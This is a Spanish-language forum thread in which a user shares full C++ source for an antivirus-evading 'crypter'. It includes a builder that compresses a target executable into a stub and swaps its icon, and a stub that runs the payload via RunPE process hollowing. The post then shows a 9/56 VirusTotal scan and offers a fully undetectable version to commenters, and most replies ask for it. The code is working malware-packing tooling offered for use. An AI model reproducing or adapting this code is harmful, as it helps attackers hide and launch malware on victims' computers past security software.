Crypter [RunPE][Función compresor][9/56 Antivirus]

Iniciado por xxneeco83xx, Septiembre 07, 2015, 06:00:45 PM

Tema anterior - Siguiente tema

0 Miembros y 2 Visitantes están viendo este tema.




Hola, aquí de nuevo trayendo un crypter que habia desarrollado hace un largo tiempo pero que modifique para que los antivirus no lo detectaran, lo que hace este crypter a diferencia del resto
no es usar un método de cifrado si no más bien comprimir el buffer, es decir con APIS nativas reduce el tamaño del archivo a cryptar y de esa forma también dejara indetectable el archivo.
Tiene la función de cambiar el icono si lo desean.
Si el crypter les parece bien, estare subiendo su version FUD para quienes comenten el el post.








CitarCodigo compresor

Código: cpp

#include <windows.h>
#include <shlwapi.h>
#include <stdio.h>
#include <mmsystem.h>

/*BULL GOLDEN - Simple Crypter privado*/
#define COMPRESSION_FORMAT_LZNT1 (0x0002)
#define COMPRESSION_ENGINE_STANDARD (0x0000)
#define COMPRESSION_ENGINE_MAXIMUM (0x0100)

DWORD i = 0;

typedef struct _ICONDIRENTRY {
  BYTE bWidth;
  BYTE bHeight;
  BYTE bColorCount;
  BYTE bReserved;
  WORD wPlanes;
  WORD wBitCount;
  DWORD dwBytesInRes;
  DWORD dwImageOffset;
} ICONDIRENTRY,
* LPICONDIRENTRY;

typedef struct _ICONDIR {
  WORD idReserved;
  WORD idType;
  WORD idCount;
  ICONDIRENTRY idEntries[1];
} ICONDIR,
* LPICONDIR;

#pragma pack(2)
typedef struct _GRPICONDIRENTRY {
  BYTE bWidth;
  BYTE bHeight;
  BYTE bColorCount;
  BYTE bReserved;
  WORD wPlanes;
  WORD wBitCount;
  DWORD dwBytesInRes;
  WORD nID;
} GRPICONDIRENTRY,
* LPGRPICONDIRENTRY;

#pragma pack(2)
typedef struct _GRPICONDIR {
  WORD idReserved;
  WORD idType;
  WORD idCount;
  GRPICONDIRENTRY idEntries[1];
} GRPICONDIR,
* LPGRPICONDIR;

typedef ULONG NTSTATUS;

typedef DWORD ( __stdcall *_RtlCompressBuffer)(IN ULONG CompressionFormat, IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN ULONG Unknown, OUT PULONG pDestinationSize, IN PVOID WorkspaceBuffer );

typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize )(IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );

typedef DWORD ( __stdcall *_RtlDecompressBuffer )( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );

LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut);
LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize );
BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize );
DWORD WINAPI vGetFileSize ( IN LPSTR nFileName);
BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName);
LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName );

LPSTR WINAPI CompressBuffer( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut) {

_RtlCompressBuffer RtlCompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;

DWORD dwRet;
DWORD dwSize;
LPVOID WSB;
 
DWORD dstSize = 16 * szBuffer;

LPSTR szRet = ( LPSTR ) malloc ( dstSize );

RtlCompressBuffer = ( _RtlCompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlCompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA( "NTDLL.DLL" ), "RtlGetCompressionWorkSpaceSize" );

RtlGetCompressionWorkSpaceSize(COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet);

WSB = ( LPVOID ) malloc ( dwSize );

RtlCompressBuffer ( COMPRESSION_FORMAT_LZNT1, lpBuffer, szBuffer, szRet, dstSize, 0, dwSizeOut, WSB);

free( WSB );
return szRet;
}

LPSTR WINAPI DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut ) {

_RtlDecompressBuffer RtlDecompressBuffer;
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize;

DWORD dwRet;
DWORD dwSize;
 
DWORD dstSize = 16 * szBuffer;

LPSTR szRet = (LPSTR) malloc ( dstSize );

RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlDecompressBuffer" );
RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA("NTDLL.DLL"), "RtlGetCompressionWorkSpaceSize" );

RtlGetCompressionWorkSpaceSize( COMPRESSION_FORMAT_LZNT1,&dwSize,&dwRet);
RtlDecompressBuffer(COMPRESSION_FORMAT_LZNT1,szRet,dstSize,lpBuffer,szBuffer,dwSizeOut);

return szRet;
}

LPSTR WINAPI GetFileBuffer ( IN LPSTR lpszFileName, OUT LPDWORD dwSize ) {

DWORD BytesRead;

HANDLE File = CreateFileA ( lpszFileName, GENERIC_READ, 0, 0, OPEN_EXISTING, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return (LPSTR)"ERROR";

DWORD FileSize = GetFileSize ( File, 0 );
LPSTR Buffer = ( LPSTR ) GlobalAlloc ( GPTR, FileSize );

ReadFile ( File, Buffer, FileSize, &BytesRead, 0 );
CloseHandle ( File );

*dwSize = FileSize;

return Buffer;
}

BOOL WINAPI CreateFileName ( IN LPSTR lpszFileName, IN LPSTR lpBuffer, IN DWORD dwSize ) {

DWORD BytesRead;

HANDLE File = CreateFileA ( lpszFileName, GENERIC_WRITE, 0, 0, CREATE_ALWAYS, 0, 0 );
if ( File == INVALID_HANDLE_VALUE || File == NULL ) return FALSE;

WriteFile ( File, lpBuffer, dwSize, &BytesRead, 0 );
CloseHandle ( File );

return TRUE;
}

DWORD WINAPI vGetFileSize ( IN LPSTR nFileName ) {

HANDLE hGFS = CreateFileA ( nFileName, GENERIC_READ + GENERIC_WRITE, 0, 0, OPEN_EXISTING, 0, 0 );
DWORD szFile = GetFileSize ( hGFS, 0 );

CloseHandle( hGFS );

return szFile;
}

BOOL WINAPI AddIcon ( IN LPSTR szIFileName, IN LPSTR szEFileName) {

HANDLE hFile = CreateFile(szIFileName, GENERIC_READ,FILE_SHARE_WRITE+FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL);
if(hFile == INVALID_HANDLE_VALUE) {
return FALSE;
}

LPICONDIR lpid;
lpid = ( LPICONDIR ) malloc( sizeof( ICONDIR ) );

if(lpid == NULL) {
return FALSE;
}

DWORD dwBytesRead;
ReadFile(hFile, &lpid->idReserved, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idType, sizeof(WORD), &dwBytesRead, NULL);
ReadFile(hFile, &lpid->idCount, sizeof(WORD), &dwBytesRead, NULL);
lpid = (LPICONDIR) realloc(lpid, (sizeof(WORD) * 3) + (sizeof(ICONDIRENTRY) * lpid->idCount));

if(lpid == NULL) {
return FALSE;
}

ReadFile(hFile, &lpid->idEntries[0], sizeof(ICONDIRENTRY) * lpid->idCount, &dwBytesRead, NULL);
LPGRPICONDIR lpgid;
lpgid = (LPGRPICONDIR)malloc(sizeof(GRPICONDIR));

if(lpgid == NULL) {
return FALSE;
}

lpgid->idReserved = lpid->idReserved;
lpgid->idType = lpid->idType;
lpgid->idCount = lpid->idCount;
lpgid = (LPGRPICONDIR)realloc(lpgid, (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount));

if(lpgid == NULL) {
return FALSE;
}

for(i = 0; i < lpgid->idCount; i++) {
lpgid->idEntries[i].bWidth = lpid->idEntries[i].bWidth;
lpgid->idEntries[i].bHeight = lpid->idEntries[i].bHeight;
lpgid->idEntries[i].bColorCount = lpid->idEntries[i].bColorCount;
lpgid->idEntries[i].bReserved = lpid->idEntries[i].bReserved;
lpgid->idEntries[i].wPlanes = lpid->idEntries[i].wPlanes;
lpgid->idEntries[i].wBitCount = lpid->idEntries[i].wBitCount;
lpgid->idEntries[i].dwBytesInRes = lpid->idEntries[i].dwBytesInRes;
lpgid->idEntries[i].nID = i + 1;
}

HANDLE hUpdate;
hUpdate = BeginUpdateResource(szEFileName, TRUE);

if(hUpdate == NULL) {
CloseHandle(hFile);
return FALSE;
}

for(i = 0; i < lpid->idCount; i++) {

LPBYTE lpBuffer = (LPBYTE) malloc(lpid->idEntries[i].dwBytesInRes);

if(lpBuffer == NULL) {
CloseHandle(hFile);
return FALSE;
}

SetFilePointer(hFile, lpid->idEntries[i].dwImageOffset, NULL, FILE_BEGIN);
ReadFile(hFile, lpBuffer, lpid->idEntries[i].dwBytesInRes, &dwBytesRead, NULL);

if(UpdateResource(hUpdate, RT_ICON, MAKEINTRESOURCE(lpgid->idEntries[i].nID), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpBuffer[0], lpid->idEntries[i].dwBytesInRes) == FALSE) {

CloseHandle(hFile);
free(lpBuffer);
return FALSE;
}

free(lpBuffer);
}

CloseHandle(hFile);

if (UpdateResource(hUpdate, RT_GROUP_ICON, MAKEINTRESOURCE(1), MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL), &lpgid[0], (sizeof(WORD) * 3) + (sizeof(GRPICONDIRENTRY) * lpgid->idCount)) == FALSE) {
return FALSE;
}

if (EndUpdateResource(hUpdate, FALSE) == FALSE) {
return FALSE;
}

return TRUE;
}

LPSTR WINAPI GetExtension ( IN LPSTR lpszFileName ) {
     
    char *extension = (char*) malloc ( 4 );
    extension = lpszFileName + lstrlenA ( lpszFileName ) - 4; 
     
return extension;
}

int WINAPI WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil ) {

CONSOLE_SCREEN_BUFFER_INFO csbi;
COORD coord_size = { 50, 30 };
COORD coord = { 0, 0 };
SMALL_RECT rect = { 0, 0, coord_size.X-1, coord_size.Y-1 };

if ( PathFileExistsA ( "ambice.mp3" ) ) mciSendStringA ( "play ambice.mp3 repeat", 0, 0, 0  );

DWORD FileSize, dwBytes, BufferCompress, StubSize;
LPSTR FileBuffer;
HANDLE File;

HANDLE Console = GetStdHandle ( STD_OUTPUT_HANDLE );
GetConsoleScreenBufferInfo ( Console, &csbi );

SetConsoleTitle ( "Bull Golden - Crypter - BETA 1" );
SetConsoleTextAttribute ( Console, ( 0xFC ) );
SetConsoleWindowInfo ( Console, true, &rect );
SetConsoleScreenBufferSize ( Console, coord_size );

char *title = (char*)"*****Bull Guard Golden Crypter beta 1*****\n\n";

coord.X = (csbi.dwSize.X/2)-lstrlenA(title)-12, coord.Y = 2;

if ( !PathFileExistsA ( "BULL.DLL" ) ) FatalAppExitA ( 0, "No se ah encontrado el archivo BULL.DLL" );

SetConsoleCursorPosition ( Console, coord );

for ( int i = 0; title [ i ] != 0x00; title [ i ++ ] ) {
putchar ( title [ i ] );
Sleep ( 20 );
}

char *firma = (char*)"*bull*";
size_t length_firma = (size_t) lstrlenA(firma);

char path [ MAX_PATH + 1 ];
fflush ( stdin );

printf ( "\n\n°°Ingrese la ruta del archivo a cryptar:>" );
//fgets ( path, MAX_PATH, stdin );
scanf ( "%s", &path );

printf ( "\n[Al presionar una tecla se cifrara el archivo %s]", path );
system ( "PAUSE>NUL" );

if ( PathFileExistsA ( path ) ) {

LPSTR Buffer = ( LPSTR ) GlobalAlloc ( (0x0000|0x0040), vGetFileSize ( path ) );
Buffer = GetFileBuffer ( path, &FileSize );

LPSTR CompressBufferThis = CompressBuffer ( Buffer, FileSize, &BufferCompress );
//CreateFileName ( nuevo, CompressBufferThis, BufferCompress );

LPSTR StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), vGetFileSize ( (LPSTR)"BULL.DLL" ) );
StubSize = vGetFileSize ( (LPSTR)"BULL.DLL" );

StubBuffer = GetFileBuffer ( (LPSTR)"BULL.DLL", &StubSize );

LPSTR NewBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000|0x0040 ), BufferCompress + StubSize + length_firma + 255 );
CopyMemory ( &NewBuffer [ 0 ], &StubBuffer [ 0 ], StubSize );
CopyMemory ( &NewBuffer [ StubSize ], &firma [ 0 ], length_firma );
CopyMemory ( &NewBuffer [ StubSize + length_firma ], &CompressBufferThis [ 0 ], BufferCompress );

CreateFileName ( ( LPSTR ) "BullGeneric.exe", NewBuffer, (StubSize + length_firma + BufferCompress) );

GlobalFree ( FileBuffer );
GlobalFree ( NewBuffer );
GlobalFree ( StubBuffer );

printf ( "\n\n\nSe ah generado el archivo cryptado con exito [%d] bytes totales", BufferCompress );

DWORD reserved;
char letter [ 2 ];
char icon [ MAX_PATH + 1 ];

system ( "cls" );
printf ( "Desea cambiar el icono ? s/n :>" );

scanf ( "%s", &letter );

if ( letter [ 0 ] == 's' || letter [ 0 ] == 'S' ) {
printf ( "\n\nIngrese el directorio del icono:>" );
scanf ( "%s", &icon );

if ( PathFileExistsA ( icon ) ) {
AddIcon ( icon, (LPSTR)"BullGeneric.exe" );
printf ( "\n\t\t\t[Exito al cambiar el icono]\n" );
} else {
printf ( "\n\t\t\t[Ah ocurrido un error al cambiar el icono]" );
}
}

printf ( "\n\n\n[Presione escape para salir]\n" );
while ( !GetAsyncKeyState ( 27 ) );

} else FatalAppExitA ( 0, "No se ah encontrado el archivo especificado" );

return 0;
}



CitarCodigo del stub

Código: cpp

#include <windows.h>

/*BULL GOLDEN - Simple Crypter privado*/

/*#define COMPRESSION_FORMAT_LZNT1 ( 0x0002 )
#define COMPRESSION_ENGINE_STANDARD ( 0x0000 )
#define COMPRESSION_ENGINE_MAXIMUM ( 0x0100 )*/

#define LIB ( LPSTR )  "ntdll.dll"
#define API ( LPSTR ) "NtUnmapViewOfSection"

typedef ULONG NTSTATUS;

typedef DWORD ( __stdcall *_RtlGetCompressionWorkSpaceSize ) ( IN ULONG CompressionFormat, OUT PULONG pNeededBufferSize,
OUT PULONG pUnknown );

typedef DWORD ( __stdcall *_RtlDecompressBuffer ) ( IN ULONG CompressionFormat, OUT PVOID DestinationBuffer, IN ULONG DestinationBufferLength,
IN PVOID SourceBuffer, IN ULONG SourceBufferLength,
OUT PULONG pDestinationSize );

typedef LONG ( __stdcall *NtApi ) ( HANDLE ProcessHandle, PVOID BaseAddress );

typedef BOOL ( __stdcall *Conte ) ( IN HANDLE hThread, IN const CONTEXT *lpConte );
typedef DWORD ( __stdcall *Resum ) ( IN HANDLE hThread );
typedef BOOL ( __stdcall *Wri ) ( IN HANDLE hProcess, IN LPVOID lpBaseAdress, IN LPCVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesWritten );
typedef BOOL ( __stdcall *Rea ) ( IN HANDLE hProcess, IN LPCVOID lpBaseAddress, OUT LPVOID lpBuffer, IN SIZE_T nSize, OUT SIZE_T *lpNumberOfBytesRead );

LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut );
void ExecFile ( LPSTR szFilePath, LPVOID pFile );

void ExecFile ( LPSTR szFilePath, LPVOID pFile )
{

PIMAGE_DOS_HEADER IDH;
PIMAGE_NT_HEADERS INH;
PIMAGE_SECTION_HEADER ISH;
PROCESS_INFORMATION PI;
STARTUPINFOA SI;
PCONTEXT CTX;
PDWORD dwImageBase;
NtApi xNt;
LPVOID pImageBase;
int Count;

Conte Contee = ( Conte ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "SetThreadContext" );
Wri Writ = ( Wri ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "WriteProcessMemory" );
Rea Reaa = ( Rea ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ReadProcessMemory" );
Resum Resu = ( Resum ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( "kernel32.dll" ), "ResumeThread" );

IDH = PIMAGE_DOS_HEADER ( pFile );

if ( IDH -> e_magic == IMAGE_DOS_SIGNATURE )
{

INH = PIMAGE_NT_HEADERS ( DWORD ( pFile ) + IDH->e_lfanew );

if ( INH -> Signature == IMAGE_NT_SIGNATURE )
{
RtlZeroMemory ( &SI, sizeof ( SI ) );
RtlZeroMemory ( &PI, sizeof ( PI ) );

if ( CreateProcessA ( szFilePath, 0L, 0L, 0L, FALSE, CREATE_SUSPENDED, 0L, 0L, &SI, &PI ) )
{

CTX = PCONTEXT ( VirtualAlloc ( 0L, sizeof ( CTX ), MEM_COMMIT, PAGE_READWRITE ) );
CTX -> ContextFlags = CONTEXT_FULL;

if ( GetThreadContext ( PI.hThread, LPCONTEXT ( CTX ) ) )
{

ReadProcessMemory ( PI.hProcess, LPCVOID ( CTX->Ebx + 8 ), LPVOID ( &dwImageBase ), 4, 0L );

if ( DWORD( dwImageBase ) == INH->OptionalHeader.ImageBase )
{

xNt = NtApi ( GetProcAddress ( GetModuleHandleA ( LIB ), API ) );
xNt ( PI.hProcess, PVOID ( dwImageBase ) );
}

pImageBase = VirtualAllocEx ( PI.hProcess, LPVOID(INH->OptionalHeader.ImageBase), INH->OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);

if ( pImageBase )
{

Writ ( PI.hProcess, pImageBase, pFile, INH->OptionalHeader.SizeOfHeaders, 0L );

for ( Count = 0; Count < INH->FileHeader.NumberOfSections; Count++ )
{

ISH = PIMAGE_SECTION_HEADER(DWORD(pFile) + IDH->e_lfanew + 248 + (Count * 40));
Writ (PI.hProcess, LPVOID(DWORD(pImageBase) + ISH->VirtualAddress), LPVOID ( DWORD ( pFile ) + ISH->PointerToRawData), ISH->SizeOfRawData, NULL);
}

Writ ( PI.hProcess, LPVOID ( CTX->Ebx + 8 ), LPVOID ( &INH->OptionalHeader.ImageBase ), 4, 0L );
CTX->Eax = DWORD ( pImageBase ) + INH->OptionalHeader.AddressOfEntryPoint;
Contee ( PI.hThread, LPCONTEXT ( CTX ) );
Resu ( PI.hThread);

}
}
}
}

}

GlobalFree ( pFile );
}

LPSTR __stdcall DecompressBuffer ( IN LPSTR lpBuffer, IN DWORD szBuffer, OUT LPDWORD dwSizeOut )
{

_RtlDecompressBuffer RtlDecompressBuffer = ( _RtlDecompressBuffer ) GetProcAddress ( (HINSTANCE) LoadLibraryA( LIB ), "RtlDecompressBuffer" );
_RtlGetCompressionWorkSpaceSize RtlGetCompressionWorkSpaceSize = ( _RtlGetCompressionWorkSpaceSize ) GetProcAddress ( (HINSTANCE) LoadLibraryA ( LIB ), "RtlGetCompressionWorkSpaceSize" );

DWORD dwRet;
DWORD dwSize;
 
DWORD dstSize = 16 * szBuffer;
LPSTR szRet = (LPSTR) malloc ( dstSize );

RtlGetCompressionWorkSpaceSize ( COMPRESSION_FORMAT_LZNT1, &dwSize, &dwRet );
RtlDecompressBuffer ( COMPRESSION_FORMAT_LZNT1, szRet, dstSize, lpBuffer, szBuffer, dwSizeOut );

return szRet;
}

int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance,
LPSTR lpszArgument, int nCmdFunstil )
{

STARTUPINFO stinfo;
PROCESS_INFORMATION processinformation;
HANDLE File;
DWORD dwBytes, StubSize, bytes;
LPSTR StubBuffer, Directory, AppName;

ZeroMemory ( &stinfo, sizeof ( STARTUPINFO ) );
stinfo.cb = sizeof ( STARTUPINFO );

size_t length_firma = ( size_t ) 6;

AppName = ( LPSTR ) VirtualAlloc ( 0L, ( MAX_PATH + 1 ), ( MEM_COMMIT | MEM_RESERVE ), PAGE_READWRITE );
GetModuleFileNameA ( GetModuleHandleA ( 0L ), AppName, MAX_PATH );

File = CreateFileA ( AppName, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );

if ( ( File == INVALID_HANDLE_VALUE ) || ( File == 0L ) )
{
CloseHandle ( File );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );
return -1;
}

StubSize = GetFileSize ( File, 0 );

StubBuffer = ( LPSTR ) GlobalAlloc ( ( 0x0000 | 0x0040 ), ( StubSize + 1 ) );
ReadFile ( File, StubBuffer, StubSize, &dwBytes, 0 );
CloseHandle ( File );

for ( bytes = 0; bytes <= StubSize; bytes ++ )
{
if ( StubBuffer [ bytes ] == '*' && StubBuffer [ bytes + 1 ] == 'b' && StubBuffer [ bytes + 2 ] == 'u' && StubBuffer [ bytes + 3 ] == 'l' &&
    StubBuffer [ bytes + 4 ] == 'l' && StubBuffer [ bytes + 5 ] == '*' ) {
                                   
StubBuffer += ( bytes + 6 );
StubSize -= ( bytes + 6 );
}
}

DWORD OutDecompressSize;
StubBuffer = DecompressBuffer ( StubBuffer, StubSize, &OutDecompressSize );

ExecFile ( LPSTR ( AppName ), StubBuffer );

GlobalFree ( StubBuffer );
VirtualFree ( AppName, ( MAX_PATH + 1 ), ( MEM_DECOMMIT | MEM_RELEASE ) );

return EXIT_SUCCESS;
}



ANALISIS 9/56

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta


Antivirus   Resultado   Actualización
ALYac      20150805    Clean
AVG      20150805    Clean
AVware      20150805    Clean
Ad-Aware      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
AegisLab      20150805    Clean
Agnitum      20150804    Clean
AhnLab-V3      20150805    Clean
Alibaba      20150803    Clean
Antiy-AVL      20150805    Clean
Arcabit      20150805    Trojan.Heur.RP.ED92C7
Avast      20150805    Clean
Avira      20150805    TR/Crypt.XPACK.Gen
Baidu-International      20150805    Clean
BitDefender      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Bkav      20150805    Clean
ByteHero      20150805    Clean
CAT-QuickHeal      20150805    Clean
ClamAV      20150805    Clean
Comodo      20150805    Clean
Cyren      20150805    Clean
DrWeb      20150805    Clean
ESET-NOD32      20150805    Clean
Emsisoft      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
F-Prot      20150805    Clean
F-Secure      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Fortinet      20150804    Clean
GData      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Ikarus      20150805    Clean
Jiangmin      20150804    Clean
K7AntiVirus      20150805    Clean
K7GW      20150805    Clean
Kaspersky      20150805    Clean
Kingsoft      20150805    Clean
Malwarebytes      20150805    Clean
McAfee      20150805    Clean
McAfee-GW-Edition      20150805    Clean
MicroWorld-eScan      20150805    Gen:Trojan.Heur.RP.hGW@ay7Koln
Microsoft      20150805    Clean
NANO-Antivirus      20150805    Clean
Panda      20150805    Clean
Qihoo-360      20150805    Clean
Rising      20150731    Clean
SUPERAntiSpyware      20150805    Clean
Sophos      20150805    Clean
Symantec      20150805    Clean
Tencent      20150805    Clean
TheHacker      20150805    Clean
TotalDefense      20150805    Clean
TrendMicro      20150805    Clean
TrendMicro-HouseCall      20150805Clean
VBA32      20150805    Clean
VIPRE      20150805    Clean
ViRobot      20150805    Clean
Zillya      20150805    Clean
Zoner      20150805    Clean
nProtect      20150805    Clean



Link de descarga:
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta

PASS : xxneeco83xx
El arte de crear malware, es algo que solo pocos entienden!


Virus Total Te quema las firmas, es la primera regla de hacer crypters no subir las cosas a virus total xd

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Virus Total Te quema las firmas, es la primera regla de hacer crypters no subir las cosas a virus total xd

lo hice a proposito, la finalidad de este crypter como bien puse en el post para quienes lo quieran FUD que lo pidan.
No me interesa subir crypters libres para quienes solo andan en el foro para eso, sin siquiera leer. xD
El arte de crear malware, es algo que solo pocos entienden!


Hola bro, nice job. Esta bien lo que decis, esa tecnica la usan en otros foros como el del camaleon o 23, para no decir sus nombres explicitos jajaj. Pasarias el fud por mp? Saludos

Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
El arte de crear malware, es algo que solo pocos entienden!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)

No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)

Revisa mis aportes anteriores y comprueba si se o no se del tema, cada API y más aun de las que hay en el code.
Por algo soy de los que aporta y no de los que critican. Mi intención fue a portar un code que tenia desarrollado
no discutir de lo que se o lo que no.
Con respecto a tus post, son puras criticas hacia la gente que aporta, si bien si hay mucha gente que aporta cosas robadas, este no es el caso.
Pero en fin no siempre se deja contento a todo el mundo, que pases un buen resto del dia, no me interesa discutir.
El arte de crear malware, es algo que solo pocos entienden!


No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
No tienes permitido ver los links. Registrarse o Entrar a mi cuenta
Este "crypter" es un copypaste de un copypaste de un copypaste de un copypaste de un "crypter". Todo el mundo usa la misma tecnica que no sirve para nada.

Es viejo, solo lo remodifique, no es copypaste de nada.
Que se use el mismo metodo no quiere decir que copie y pegue codigo.
Ademas si tienes derecho a dar tal critica ? supongo que eres programador.
Tus aportes deben de ser excelentes.

Saludos, y dedica más tiempo a aprender que a criticar lo ajeno.
Creo haber escrito un post acerca de crypters de este tipo. No aprendi eso magicamente.
Dudo que sepas para que funciona cada api que usaste en ese codigo.
No aporto codigo para evitar que la gente copie y pegue, como hacen siempre ;)

Revisa mis aportes anteriores y comprueba si se o no se del tema, cada API y más aun de las que hay en el code.
Por algo soy de los que aporta y no de los que critican. Mi intención fue a portar un code que tenia desarrollado
no discutir de lo que se o lo que no.
Con respecto a tus post, son puras criticas hacia la gente que aporta, si bien si hay mucha gente que aporta cosas robadas, este no es el caso.
Pero en fin no siempre se deja contento a todo el mundo, que pases un buen resto del dia, no me interesa discutir.
Critico para ayudarlos/guiarlos. Por lo que veo en tus posts, por ejemplo el de la infeccion de ejecutables, veo que no tenes ni idea de que es una cabecera PE y estas portando tecnicas de mala calidad empleadas en vb6 generalmente. Sacate el titulo ese de programador de malware que vos solo te pusiste.


Podrías compartir conmigo la versión FUD?
Muchas gracias.

Estoy de acuerdo, siempre es mejor aportar que sólo criticar.

Podrías compartirme la versión FUD por favor? Desde ya gracias.

Me gustaría tener la versión FUD, para hacer unas pruebas.

Comentar también que es excelente tu trabajo, pues otros cryoters y otros trabajos que has hecho son estupendos.

Gracias por compartir.

 yo llevo varias semanas practicando con crypters de hecho ya publique algunas dudas que tenias
asi que por mi si puedes pasar la version
te lo agradeceria